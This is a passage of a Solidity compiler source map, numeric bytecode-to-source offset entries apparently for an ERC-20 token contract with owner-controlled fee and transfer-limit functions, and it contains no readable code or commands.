9::o;4095:529::-;4235:4;4252:36;4262:6;4270:9;4281:6;4252:9;:36::i;:::-;-1:-1:-1;;;;;4328:19:0;;4301:24;4328:19;;;:11;:19;;;;;;;;2486:10;4328:33;;;;;;;;4394:26;;;;4372:116;;;;-1:-1:-1;;;4372:116:0;;5822:2:1;4372:116:0;;;5804:21:1;5861:2;5841:18;;;5834:30;5900:34;5880:18;;;5873:62;-1:-1:-1;;;5951:18:1;;;5944:38;5999:19;;4372:116:0;5620:404:1;4372:116:0;4524:57;4533:6;2486:10;4574:6;4555:16;:25;4524:8;:57::i;:::-;4612:4;4605:11;;;4095:529;;;;;;:::o;15348:339::-;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;15503:4:::1;15495;15474:13;3221:12:::0;;;3133:108;15474:13:::1;:17;::::0;15490:1:::1;15474:17;:::i;:::-;15473:26;;;;:::i;:::-;15472:35;;;;:::i;:::-;15453:15;:54;;15431:145;;;::::0;-1:-1:-1;;;15431:145:0;;6758:2:1;15431:145:0::1;::::0;::::1;6740:21:1::0;6797:2;6777:18;;;6770:30;6836:34;6816:18;;;6809:62;-1:-1:-1;;;6887:18:1;;;6880:39;6936:19;;15431:145:0::1;6556:405:1::0;15431:145:0::1;15602:28;:15:::0;15621:8:::1;15602:28;:::i;:::-;15587:12;:43:::0;;;15646:33:::1;::::0;713:25:1;;;15646:33:0::1;::::0;701:2:1;686:18;15646:33:0::1;;;;;;;;15348:339:::0;:::o;23904:526::-;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;24077:18:::1;:33:::0;;;24121:18:::1;:33:::0;;;24165:12:::1;:21:::0;;;24197:16:::1;:26:::0;;;24216:7;24180:6;24262:52:::1;24098:12:::0;24142;24262:52:::1;:::i;:::-;:80;;;;:::i;:::-;:112;;;;:::i;:::-;24234:12;:140:::0;;;24409:1:::1;-1:-1:-1::0;24393:17:0::1;24385:37;;;::::0;-1:-1:-1;;;24385:37:0;;7298:2:1;24385:37:0::1;::::0;::::1;7280:21:1::0;7337:1;7317:18;;;7310:29;-1:-1:-1;;;7355:18:1;;;7348:37;7402:18;;24385:37:0::1;7096:330:1::0;24385:37:0::1;23904:526:::0;;;;:::o;5457:290::-;2486:10;5570:4;5659:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5659:34:0;;;;;;;;;;5570:4;;5587:130;;5637:7;;5659:47;;5696:10;;5659:47;:::i;:::-;5587:8;:130::i;3350:143::-;-1:-1:-1;;;;;3467:18:0;3440:7;3467:18;;;;;;;;;;;;3350:143::o;7623:150::-;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;7716:6:::1;::::0;7695:40:::1;::::0;7732:1:::1;::::0;-1:-1:-1;;;;;7716:6:0::1;::::0;7695:40:::1;::::0;7732:1;;7695:40:::1;7746:6;:19:::0;;-1:-1:-1;;;;;;7746:19:0::1;::::0;;7623:150::o;14701:203::-;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;3221:12;;14755:15:::1;:31:::0;3221:12;;14797::::1;:28:::0;3221:12;;14836:13:::1;:29:::0;14881:15:::1;::::0;::::1;::::0;;;::::1;14701:203::o:0;23096:364::-;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;23227:11:::1;23222:171;;23293:13;::::0;-1:-1:-1;;;;;23293:13:0;;::::1;23281:25:::0;;::::1;::::0;23255:126:::1;;;::::0;-1:-1:-1;;;23255:126:0;;7633:2:1;23255:126:0::1;::::0;::::1;7615:21:1::0;7672:2;7652:18;;;7645:30;7711:34;7691:18;;;7684:62;-1:-1:-1;;;7762:18:1;;;7755:37;7809:19;;23255:126:0::1;7431:403:1::0;23255:126:0::1;-1:-1:-1::0;;;;;23403:35:0;;;::::1;;::::0;;;:25:::1;:35;::::0;;;;:49;;-1:-1:-1;;23403:49:0::1;::::0;::::1;;::::0;;;::::1;::::0;;23096:364::o;14227:243::-;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;14291:13:::1;::::0;;;::::1;;;14290:14;14282:50;;;::::0;-1:-1:-1;;;14282:50:0;;8041:2:1;14282:50:0::1;::::0;::::1;8023:21:1::0;8080:2;8060:18;;;8053:30;8119:25;8099:18;;;8092:53;8162:18;;14282:50:0::1;7839:347:1::0;14282:50:0::1;14343:11;:18:::0;;-1:-1:-1;;14372:20:0;;;;;14418:12:::1;14403;:27:::0;14446:16:::1;::::0;::::1;::::0;-1:-1:-1;;14446:16:0::1;14227:243::o:0;3021:104::-;3077:13;3110:7;3103:14;;;;;:::i;24986:364::-;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;25134:13:::1;::::0;-1:-1:-1;;;;;25134:13:0;;::::1;25126:21:::0;;::::1;::::0;25104:128:::1;;;::::0;-1:-1:-1;;;25104:128:0;;8393:2:1;25104:128:0::1;::::0;::::1;8375:21:1::0;8432:2;8412:18;;;8405:30;8471:34;8451:18;;;8444:62;8542:27;8522:18;;;8515:55;8587:19;;25104:128:0::1;8191:421:1::0;25104:128:0::1;25245:41;25274:4;25280:5;25245:28;:41::i;:::-;25302:40;::::0;;::::1;;::::0;-1:-1:-1;;;;;25302:40:0;::::1;::::0;::::1;::::0;;;::::1;24986:364:::0;;:::o;5755:475::-;2486:10;5873:4;5917:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5917:34:0;;;;;;;;;;5984:35;;;;5962:122;;;;-1:-1:-1;;;5962:122:0;;8819:2:1;5962:122:0;;;8801:21:1;8858:2;8838:18;;;8831:30;8897:34;8877:18;;;8870:62;-1:-1:-1;;;8948:18:1;;;8941:35;8993:19;;5962:122:0;8617:401:1;5962:122:0;6120:67;2486:10;6143:7;6171:15;6152:16;:34;6120:8;:67::i;:::-;-1:-1:-1;6218:4:0;;5755:475;-1:-1:-1;;;5755:475:0:o;3887:200::-;3998:4;4015:42;2486:10;4039:9;4050:6;4015:9;:42::i;25358:260::-;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;25476:23:0;::::1;25454:109;;;::::0;-1:-1:-1;;;25454:109:0;;9225:2:1;25454:109:0::1;::::0;::::1;9207:21:1::0;9264:2;9244:18;;;9237:30;9303:34;9283:18;;;9276:62;-1:-1:-1;;;9354:18:1;;;9347:34;9398:19;;25454:109:0::1;9023:400:1::0;25454:109:0::1;25574:15;:36:::0;;-1:-1:-1;;;;;;25574:36:0::1;-1:-1:-1::0;;;;;25574:36:0;;;::::1;::::0;;;::::1;::::0;;25358:260::o;23468:182::-;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;23553:28:0;::::1;;::::0;;;:19:::1;:28;::::0;;;;;;;;:39;;-1:-1:-1;;23553:39:0::1;::::0;::::1;;::::0;;::::1;::::0;;;23608:34;;1345:41:1;;;23608:34:0::1;::::0;1318:18:1;23608:34:0::1;;;;;;;23468:182:::0;;:::o;15695:363::-;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;15859:4:::1;15851;15830:13;3221:12:::0;;;3133:108;15830:13:::1;:17;::::0;15846:1:::1;15830:17;:::i;:::-;15829:26;;;;:::i;:::-;15828:35;;;;:::i;:::-;15806:18;:57;;15784:151;;;::::0;-1:-1:-1;;;15784:151:0;;9630:2:1;15784:151:0::1;::::0;::::1;9612:21:1::0;9669:2;9649:18;;;9642:30;9708:34;9688:18;;;9681:62;-1:-1:-1;;;9759:18:1;;;9752:42;9811:19;;15784:151:0::1;9428:408:1::0;15784:151:0::1;15964:31;:18:::0;15986:8:::1;15964:31;:::i;:::-;15946:15;:49:::0;;;16011:39:::1;::::0;713:25:1;;;16011:39:0::1;::::0;701:2:1;686:18;16011:39:0::1;567:177:1::0;14584:109:0;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14654:23:0::1;14680:5;14654:23:::0;;;:15:::1;:23;::::0;;;;:31;;-1:-1:-1;;14654:31:0::1;::::0;;14584:109::o;14912:428::-;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;15052:6:::1;15031:13;3221:12:::0;;;3133:108;15031:13:::1;:17;::::0;15047:1:::1;15031:17;:::i;:::-;15030:28;;;;:::i;:::-;15017:9;:41;;14995:144;;;::::0;-1:-1:-1;;;14995:144:0;;10043:2:1;14995:144:0::1;::::0;::::1;10025:21:1::0;10082:2;10062:18;;;10055:30;10121:34;10101:18;;;10094:62;-1:-1:-1;;;10172:18:1;;;10165:51;10233:19;;14995:144:0::1;9841:417:1::0;14995:144:0::1;15207:4;15186:13;3221:12:::0;;;3133:108;15186:13:::1;:17;::::0;15202:1:::1;15186:17;:::i;:::-;15185:26;;;;:::i;:::-;15172:9;:39;;15150:141;;;::::0;-1:-1:-1;;;15150:141:0;;10465:2:1;15150:141:0::1;::::0;::::1;10447:21:1::0;10504:2;10484:18;;;10477:30;10543:34;10523:18;;;10516:62;-1:-1:-1;;;10594:18:1;;;10587:50;10654:19;;15150:141:0::1;10263:416:1::0;15150:141:0::1;15302:18;:30:::0;14912:428::o;22498:347::-;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;22656:4:::1;22648;22627:13;3221:12:::0;;;3133:108;22627:13:::1;:17;::::0;22643:1:::1;22627:17;:::i;:::-;22626:26;;;;:::i;:::-;22625:35;;;;:::i;:::-;22605:16;:55;;22583:147;;;::::0;-1:-1:-1;;;22583:147:0;;10886:2:1;22583:147:0::1;::::0;::::1;10868:21:1::0;10925:2;10905:18;;;10898:30;10964:34;10944:18;;;10937:62;-1:-1:-1;;;11015:18:1;;;11008:40;11065:19;;22583:147:0::1;10684:406:1::0;22583:147:0::1;22757:29;:16:::0;22777:8:::1;22757:29;:::i;:::-;22741:13;:45:::0;;;22802:35:::1;::::0;713:25:1;;;22802:35:0::1;::::0;701:2:1;686:18;22802:35:0::1;567:177:1::0;27341:156:0;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;27431:58:::1;::::0;27394:12:::1;::::0;27439:10:::1;::::0;27463:21:::1;::::0;27394:12;27431:58;27394:12;27431:58;27463:21;27439:10;27431:58:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24438:540:::0;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;24612:19:::1;:34:::0;;;24657:19:::1;:34:::0;;;24702:13:::1;:22:::0;;;24735:17:::1;:27:::0;;;24755:7;24718:6;24802:54:::1;24634:12:::0;24679;24802:54:::1;:::i;:::-;:83;;;;:::i;:::-;:116;;;;:::i;:::-;24773:13;:145:::0;;;24954:1:::1;-1:-1:-1::0;24937:18:0::1;24929:41;;;::::0;-1:-1:-1;;;24929:41:0;;11507:2:1;24929:41:0::1;::::0;::::1;11489:21:1::0;11546:2;11526:18;;;11519:30;-1:-1:-1;;;11565:18:1;;;11558:40;11615:18;;24929:41:0::1;11305:334:1::0;14478:98:0;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;14540:20:::1;:28:::0;;-1:-1:-1;;14540:28:0::1;::::0;;14478:98::o;7781:281::-;7449:6;;-1:-1:-1;;;;;7449:6:0;2486:10;7449:22;7441:67;;;;-1:-1:-1;;;7441:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7884:22:0;::::1;7862:110;;;::::0;-1:-1:-1;;;7862:110:0;;11846:2:1;7862:110:0::1;::::0;::::1;11828:21:1::0;11885:2;11865:18;;;11858:30;11924:34;11904:18;;;11897:62;-1:-1:-1;;;11975:18:1;;;11968:36;12021:19;;7862:110:0::1;11644:402:1::0;7862:110:0::1;8009:6;::::0;7988:38:::1;::::0;-1:-1:-1;;;;;7988:38:0;;::::1;::::0;8009:6:::1;::::0;7988:38:::1;::::0;8009:6:::1;::::0;7988:38:::1;8037:6;:17:::0;;-1:-1:-1;;;;;;8037:17:0::1;-1:-1:-1::0;;;;;8037:17:0;;;::::1;::::0;;;::::1;::::0;;7781:281::o;13799:420::-;13969:4;14015:23;13969:4;14015:9;:23::i;:::-;13993:18;;:45;;13985:54;;;;;;14054:58;14079:8;14089:11;14102:9;14054:24;:58::i;:::-;14050:162;;;14129:8;:15;;-1:-1:-1;;14129:15:0;14140:4;14129:15;;;14159:10;:8;:10::i;:::-;14184:8;:16;;-1:-1:-1;;14184:16:0;;;13927:292;13799:420;;;:::o;4632:380::-;-1:-1:-1;;;;;4768:19:0;;4760:68;;;;-1:-1:-1;;;4760:68:0;;12253:2:1;4760:68:0;;;12235:21:1;12292:2;12272:18;;;12265:30;12331:34;12311:18;;;12304:62;-1:-1:-1;;;12382:18:1;;;12375:34;12426:19;;4760:68:0;12051:400:1;4760:68:0;-1:-1:-1;;;;;4847:21:0;;4839:68;;;;-1:-1:-1;;;4839:68:0;;12658:2:1;4839:68:0;;;12640:21:1;12697:2;12677:18;;;12670:30;12736:34;12716:18;;;12709:62;-1:-1:-1;;;12787:18:1;;;12780:32;12829:19;;4839:68:0;12456:398:1;4839:68:0;-1:-1:-1;;;;;4920:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4972:32;;713:25:1;;;4972:32:0;;686:18:1;4972:32:0;;;;;;;;4632:380;;;:::o;16066:6424::-;-1:-1:-1;;;;;16198:18:0;;16190:68;;;;-1:-1:-1;;;16190:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16277:16:0;;16269:64;;;;-1:-1:-1;;;16269:64:0;;;;;;;:::i;:::-;16361:1;16352:6;:10;16344:52;;;;-1:-1:-1;;;16344:52:0;;13871:2:1;16344:52:0;;;13853:21:1;13910:2;13890:18;;;13883:30;13949:31;13929:18;;;13922:59;13998:18;;16344:52:0;13669:353:1;16344:52:0;-1:-1:-1;;;;;16474:29:0;;;16409:17;16474:29;;;:23;:29;;;;;;;;;16531;;;;;:25;:29;;;;;;16429:15;;16474:29;;;16531:34;;;16597:22;16557:2;16597:9;:22::i;:::-;16642:13;;16597:27;;;-1:-1:-1;16642:13:0;;;;;16637:183;;-1:-1:-1;;;;;16698:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;16727:23:0;;;;;;:19;:23;;;;;;;;16698:52;16672:136;;;;-1:-1:-1;;;16672:136:0;;14229:2:1;16672:136:0;;;14211:21:1;14268:2;14248:18;;;14241:30;-1:-1:-1;;;14287:18:1;;;14280:52;14349:18;;16672:136:0;14027:346:1;16672:136:0;16836:14;;:18;16832:254;;-1:-1:-1;;;;;16898:21:0;;;;;;:15;:21;;;;;;;;16897:22;;:60;;-1:-1:-1;7601:6:0;;-1:-1:-1;;;;;16944:13:0;;;7601:6;;16944:13;16897:60;:106;;;-1:-1:-1;;;;;;16982:21:0;;16996:6;16982:21;16897:106;16871:203;;;;-1:-1:-1;;;16871:203:0;;14580:2:1;16871:203:0;;;14562:21:1;14619:2;14599:18;;;14592:30;14658:34;14638:18;;;14631:62;-1:-1:-1;;;14709:18:1;;;14702:33;14752:19;;16871:203:0;14378:399:1;16871:203:0;17102:14;;;;17098:2642;;;-1:-1:-1;;;;;17153:31:0;;17133:17;17153:31;;;:25;:31;;;;;;17224:8;;17153:31;;;;;17224:8;17223:9;17279:7;7601:6;;-1:-1:-1;;;;;7601:6:0;;7536:79;17279:7;-1:-1:-1;;;;;17271:15:0;:4;-1:-1:-1;;;;;17271:15:0;;;:49;;;;-1:-1:-1;7601:6:0;;-1:-1:-1;;;;;17307:13:0;;;7601:6;;17307:13;;17271:49;:86;;;;-1:-1:-1;;;;;;17341:16:0;;;;17271:86;:128;;;;-1:-1:-1;;;;;;17378:21:0;;17392:6;17378:21;;17271:128;:175;;;;-1:-1:-1;;;;;;17421:25:0;;;;;;:19;:25;;;;;;;;17420:26;17271:175;:220;;;;-1:-1:-1;;;;;;17468:23:0;;;;;;:19;:23;;;;;;;;17467:24;17271:220;17249:1472;;;17530:20;;;;;;;17526:1180;;;17608:8;;-1:-1:-1;;;;;17662:29:0;;17575;17662;;;:23;:29;;;;;;17608:8;;;;17607:9;;17662:29;17661:30;;;17731:42;;;;;17749:24;17731:42;17842:15;;17714:59;;-1:-1:-1;;;;;;17828:30:0;;;17842:15;;17828:30;;;;:62;;-1:-1:-1;17876:13:0;;-1:-1:-1;;;;;17862:28:0;;;17876:13;;17862:28;;17828:62;17798:889;;;18054:16;18069:1;18054:12;:16;:::i;:::-;18008:9;17979:39;;;;:28;:39;;;;;;:91;:212;;;;-1:-1:-1;18175:16:0;18190:1;18175:12;:16;:::i;:::-;-1:-1:-1;;;;;18107:32:0;;;;;;:28;:32;;;;;;:84;17979:212;17941:339;;;;-1:-1:-1;;;17941:339:0;;15117:2:1;17941:339:0;;;15099:21:1;15156:2;15136:18;;;15129:30;15195:31;15175:18;;;15168:59;15244:18;;17941:339:0;14915:353:1;17941:339:0;18336:9;18307:39;;;;:28;:39;;;;;;18349:12;18307:54;;;;-1:-1:-1;;;;;18388:32:0;;;;;;:47;17798:889;;;18469:9;18465:222;;;-1:-1:-1;;;;;18526:31:0;;18507:16;18526:31;;;:25;:31;;;;;;18612:6;;18601:17;;;18645:18;;;;;;18480:207;;18465:222;17552:1154;;;17526:1180;-1:-1:-1;;;;;18741:29:0;;;;;;:23;:29;;;;;;;;:63;;;;-1:-1:-1;;;;;;18775:29:0;;;;;;:25;:29;;;;;;;;18774:30;18741:63;18737:992;;;18865:12;;18855:6;:22;;18825:136;;;;-1:-1:-1;;;18825:136:0;;15475:2:1;18825:136:0;;;15457:21:1;15514:2;15494:18;;;15487:30;15553:34;15533:18;;;15526:62;-1:-1:-1;;;15604:18:1;;;15597:38;15652:19;;18825:136:0;15273:404:1;18825:136:0;19036:15;;19019:13;19029:2;19019:9;:13::i;:::-;19010:22;;:6;:22;:::i;:::-;:41;;18980:139;;;;-1:-1:-1;;;18980:139:0;;15884:2:1;18980:139:0;;;15866:21:1;15923:2;15903:18;;;15896:30;-1:-1:-1;;;15942:18:1;;;15935:54;16006:18;;18980:139:0;15682:348:1;18980:139:0;18737:992;;;19145:12;:32;;;;;19161:16;19145:32;19141:588;;;19198:6;:18;;;19141:588;;;-1:-1:-1;;;;;19260:27:0;;;;;;:23;:27;;;;;;;;:63;;;;-1:-1:-1;;;;;;19292:31:0;;;;;;:25;:31;;;;;;;;19291:32;19260:63;19238:491;;;19398:13;;19388:6;:23;;19358:139;;;;-1:-1:-1;;;19358:139:0;;16237:2:1;19358:139:0;;;16219:21:1;16276:2;16256:18;;;16249:30;16315:34;16295:18;;;16288:62;-1:-1:-1;;;16366:18:1;;;16359:40;16416:19;;19358:139:0;16035:406:1;19238:491:0;-1:-1:-1;;;;;19524:29:0;;;;;;:25;:29;;;;;;;;19519:210;;19630:15;;19613:13;19623:2;19613:9;:13::i;:::-;19604:22;;:6;:22;:::i;:::-;:41;;19574:139;;;;-1:-1:-1;;;19574:139:0;;15884:2:1;19574:139:0;;;15866:21:1;15923:2;15903:18;;;15896:30;-1:-1:-1;;;15942:18:1;;;15935:54;16006:18;;19574:139:0;15682:348:1;19574:139:0;17118:2622;;17098:2642;19752:28;19783:24;19801:4;19783:9;:24::i;:::-;19859:18;;19752:55;;-1:-1:-1;19835:42:0;;;;;;;19908:35;;-1:-1:-1;19932:11:0;;;;;;;19908:35;:61;;;;-1:-1:-1;19961:8:0;;;;19960:9;19908:61;:108;;;;-1:-1:-1;;;;;;19987:29:0;;;;;;:23;:29;;;;;;;;19986:30;19908:108;:151;;;;-1:-1:-1;;;;;;20034:25:0;;;;;;:19;:25;;;;;;;;20033:26;19908:151;:192;;;;-1:-1:-1;;;;;;20077:23:0;;;;;;:19;:23;;;;;;;;20076:24;19908:192;19890:320;;;20127:8;:15;;-1:-1:-1;;20127:15:0;20138:4;20127:15;;;20157:10;:8;:10::i;:::-;20182:8;:16;;-1:-1:-1;;20182:16:0;;;19890:320;20237:4;20258:9;:24;;;;;20271:11;20258:24;20254:149;;;20303:13;20299:93;;;-1:-1:-1;;;;;20335:29:0;;;;;;:25;:29;;;;;:41;;;20299:93;-1:-1:-1;;;;;20419:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;20448:23:0;;;;;;:19;:23;;;;;;;;20419:52;20415:100;;;-1:-1:-1;20498:5:0;20415:100;20527:12;20560:7;20556:1881;;;27311:14;;27296:12;:29;20606:71;;;;-1:-1:-1;;;;;;20648:29:0;;;;;;:23;:29;;;;;;;;20606:71;:120;;;;-1:-1:-1;;;;;;20699:27:0;;;;;;:23;:27;;;;;;;;20698:28;20606:120;:157;;;;;20762:1;20747:12;;:16;20606:157;20584:1708;;;-1:-1:-1;;;;;20803:19:0;;;;;;:15;:19;;;;;;;;20798:186;;-1:-1:-1;;;;;20847:19:0;;;;;;:15;:19;;;;;:26;;-1:-1:-1;;20847:26:0;20869:4;20847:26;;;;;;20896:10;:15;;20869:4;;20896:10;;:15;;20869:4;;20896:15;:::i;:::-;;;;-1:-1:-1;;20939:25:0;;-1:-1:-1;;;;;1584:32:1;;1566:51;;20939:25:0;;1554:2:1;1539:18;20939:25:0;;;;;;;20798:186;21027:3;21012:11;:6;21021:2;21012:11;:::i;:::-;21011:19;;;;:::i;:::-;21004:26;;21101:12;;21079:18;;21072:4;:25;;;;:::i;:::-;21071:42;;;;:::i;:::-;21049:18;;:64;;;;;;;:::i;:::-;;;;-1:-1:-1;;21184:12:0;;21162:18;;21155:25;;:4;:25;:::i;:::-;21154:42;;;;:::i;:::-;21132:18;;:64;;;;;;;:::i;:::-;;;;-1:-1:-1;;21255:12:0;;21239;;21232:19;;:4;:19;:::i;:::-;21231:36;;;;:::i;:::-;21215:12;;:52;;;;;;;:::i;:::-;;;;-1:-1:-1;;21334:12:0;;21314:16;;21307:23;;:4;:23;:::i;:::-;21306:40;;;;:::i;:::-;21286:16;;:60;;;;;;;:::i;:::-;;;;-1:-1:-1;20584:1708:0;;-1:-1:-1;20584:1708:0;;-1:-1:-1;;;;;21385:27:0;;;;;;:23;:27;;;;;;;;:48;;;;;21432:1;21416:13;;:17;21385:48;21381:911;;;21488:3;21471:13;;21462:6;:22;;;;:::i;:::-;21461:30;;;;:::i;:::-;21454:37;;21563:13;;21540:19;;21533:4;:26;;;;:::i;:::-;21532:44;;;;:::i;:::-;21510:18;;:66;;;;;;;:::i;:::-;;;;-1:-1:-1;;21648:13:0;;21625:19;;21618:26;;:4;:26;:::i;:::-;21617:44;;;;:::i;:::-;21595:18;;:66;;;;;;;:::i;:::-;;;;-1:-1:-1;;21721:13:0;;21704;;21697:20;;:4;:20;:::i;:::-;21696:38;;;;:::i;:::-;21680:12;;:54;;;;;;;:::i;:::-;;;;-1:-1:-1;;21802:13:0;;21781:17;;21774:24;;:4;:24;:::i;21381:911::-;-1:-1:-1;;;;;21854:29:0;;;;;;:23;:29;;;;;;;;:49;;;;;21902:1;21887:12;;:16;21854:49;21850:442;;;21957:3;21941:12;;21932:6;:21;;;;:::i;:::-;21931:29;;;;:::i;:::-;21924:36;;22031:12;;22009:18;;22002:4;:25;;;;:::i;:::-;22001:42;;;;:::i;:::-;21979:18;;:64;;;;;;;:::i;:::-;;;;-1:-1:-1;;22114:12:0;;22092:18;;22085:25;;:4;:25;:::i;:::-;22084:42;;;;:::i;:::-;22062:18;;:64;;;;;;;:::i;:::-;;;;-1:-1:-1;;22185:12:0;;22169;;22162:19;;:4;:19;:::i;:::-;22161:36;;;;:::i;:::-;22145:12;;:52;;;;;;;:::i;:::-;;;;-1:-1:-1;;22264:12:0;;22244:16;;22237:23;;:4;:23;:::i;:::-;22236:40;;;;:::i;:::-;22216:16;;:60;;;;;;;:::i;:::-;;;;-1:-1:-1;;21850:442:0;22310:8;;22306:91;;22339:42;22355:4;22369;22376;22339:15;:42::i;:::-;22411:14;22421:4;22411:14;;:::i;:::-;;;20556:1881;22449:33;22465:4;22471:2;22475:6;22449:15;:33::i;:::-;16179:6311;;;;;;;;16066:6424;;;:::o;23658:238::-;-1:-1:-1;;;;;23741:29:0;;;;;;:23;:29;;;;;:37;;-1:-1:-1;;23741:37:0;;;;;;;23791:39;23741:29;:37;23791:26;:39::i;12819:972::-;13004:10;12963:4;13051:34;;;:19;:34;;;;;;12963:4;;13004:10;13051:34;;13127:4;12963;13167:617;;;;13236:1;13210:23;13220:12;13210:9;:23::i;:::-;:27;13206:262;;;13262:11;13277:1;13262:16;13258:162;;13303:6;:18;;;13258:162;;;13370:30;13378:8;13388:11;13370:7;:30::i;:::-;-1:-1:-1;13447:5:0;13206:262;13491:6;-1:-1:-1;13484:13:0;;-1:-1:-1;;;13484:13:0;13167:617;13553:1;13534:16;;:20;:67;;;;;13585:16;;13558:23;13568:12;13558:9;:23::i;:::-;:43;;13534:67;13530:148;;;13622:40;13630:13;13645:16;;13622:7;:40::i;:::-;-1:-1:-1;;13713:1:0;13694:16;:20;-1:-1:-1;13738:4:0;;-1:-1:-1;13759:13:0;;-1:-1:-1;13759:13:0;25626:1586;25688:1;25669:16;;:20;:68;;;;;25721:16;;25693:24;25711:4;25693:9;:24::i;:::-;:44;;25669:68;25665:141;;;25754:40;25770:4;25777:16;;25754:7;:40::i;:::-;25835:1;25816:16;:20;;;25873:24;25891:4;25873:9;:24::i;:::-;25847:50;;25908:25;26004:12;;25970:18;;25936;;:52;;;;:::i;:::-;:80;;;;:::i;:::-;25908:108;-1:-1:-1;26033:20:0;;;:46;;-1:-1:-1;26057:22:0;;26033:46;26029:85;;;26096:7;;25626:1586::o;26029:85::-;26148:18;;;:23;;;:::i;:::-;26130:15;:41;26126:115;;;26206:18;;;:23;;;:::i;:::-;26188:41;;26126:115;26253:23;26353:1;26333:17;26298:18;;26280:15;:36;;;;:::i;:::-;26279:71;;;;:::i;:::-;:75;;;;:::i;:::-;26253:101;-1:-1:-1;26367:51:0;26384:33;26253:101;26384:15;:33;:::i;:::-;26367:16;:51::i;:::-;26628:18;;26452:21;;;;26431:18;;26628:22;;26649:1;;26628:22;:::i;:::-;26607:44;;:17;:44;:::i;:::-;26571:18;;26558:31;;:10;:31;:::i;:::-;26557:95;;;;:::i;:::-;26531:121;;26663:17;26769:1;26748:18;;:22;;;;:::i;:::-;26727:44;;:17;:44;:::i;:::-;26697:12;;26684:25;;:10;:25;:::i;:::-;26683:89;;;;:::i;:::-;26663:109;-1:-1:-1;26802:27:0;26663:109;26802:15;:27;:::i;:::-;26783:46;;;;:::i;:::-;26861:1;26840:18;:22;;;26873:18;:22;;;26906:12;:16;;;26933;:20;26783:46;-1:-1:-1;26970:19:0;;;;;:42;;;27011:1;26993:15;:19;26970:42;26966:121;;;27029:46;27042:15;27059;27029:12;:46::i;:::-;27107:9;;27099:38;;-1:-1:-1;;;;;27107:9:0;;;;27099:38;;;;;27127:9;;27107;27099:38;27107:9;27099:38;27127:9;27107;27099:38;;;;;;;;;;;;;;;;;;;;-1:-1:-1;27156:15:0;;27148:56;;-1:-1:-1;;;;;27156:15:0;;;;27182:21;27148:56;;;;;27156:15;27148:56;27156:15;27148:56;27182:21;27156:15;27148:56;;;;;;;;;;;;;;;;;;;;;25654:1558;;;;;;;25626:1586::o;6562:613::-;-1:-1:-1;;;;;6693:18:0;;6685:68;;;;-1:-1:-1;;;6685:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6772:16:0;;6764:64;;;;-1:-1:-1;;;6764:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6865:15:0;;6841:21;6865:15;;;;;;;;;;;6913:23;;;;6891:111;;;;-1:-1:-1;;;6891:111:0;;16648:2:1;6891:111:0;;;16630:21:1;16687:2;16667:18;;;16660:30;16726:34;16706:18;;;16699:62;-1:-1:-1;;;16777:18:1;;;16770:36;16823:19;;6891:111:0;16446:402:1;6891:111:0;-1:-1:-1;;;;;7038:15:0;;;:9;:15;;;;;;;;;;;7056:22;;;7038:40;;7100:13;;;;;;;;:23;;7072:6;;7038:9;7100:23;;7072:6;;7100:23;:::i;:::-;;;;;;;;7156:2;-1:-1:-1;;;;;7141:26:0;7150:4;-1:-1:-1;;;;;7141:26:0;;7160:6;7141:26;;;;713:25:1;;701:2;686:18;;567:177;7141:26:0;;;;;;;;6674:501;6562:613;;;:::o;22853:235::-;-1:-1:-1;;;;;22969:35:0;;;;;;:25;:35;;;;;;;;;:49;;-1:-1:-1;;22969:49:0;;;;;;;;;;23034:46;;17021:51:1;;;17088:18;;;17081:50;23034:46:0;;16994:18:1;23034:46:0;;;;;;;22853:235;;:::o;5020:429::-;-1:-1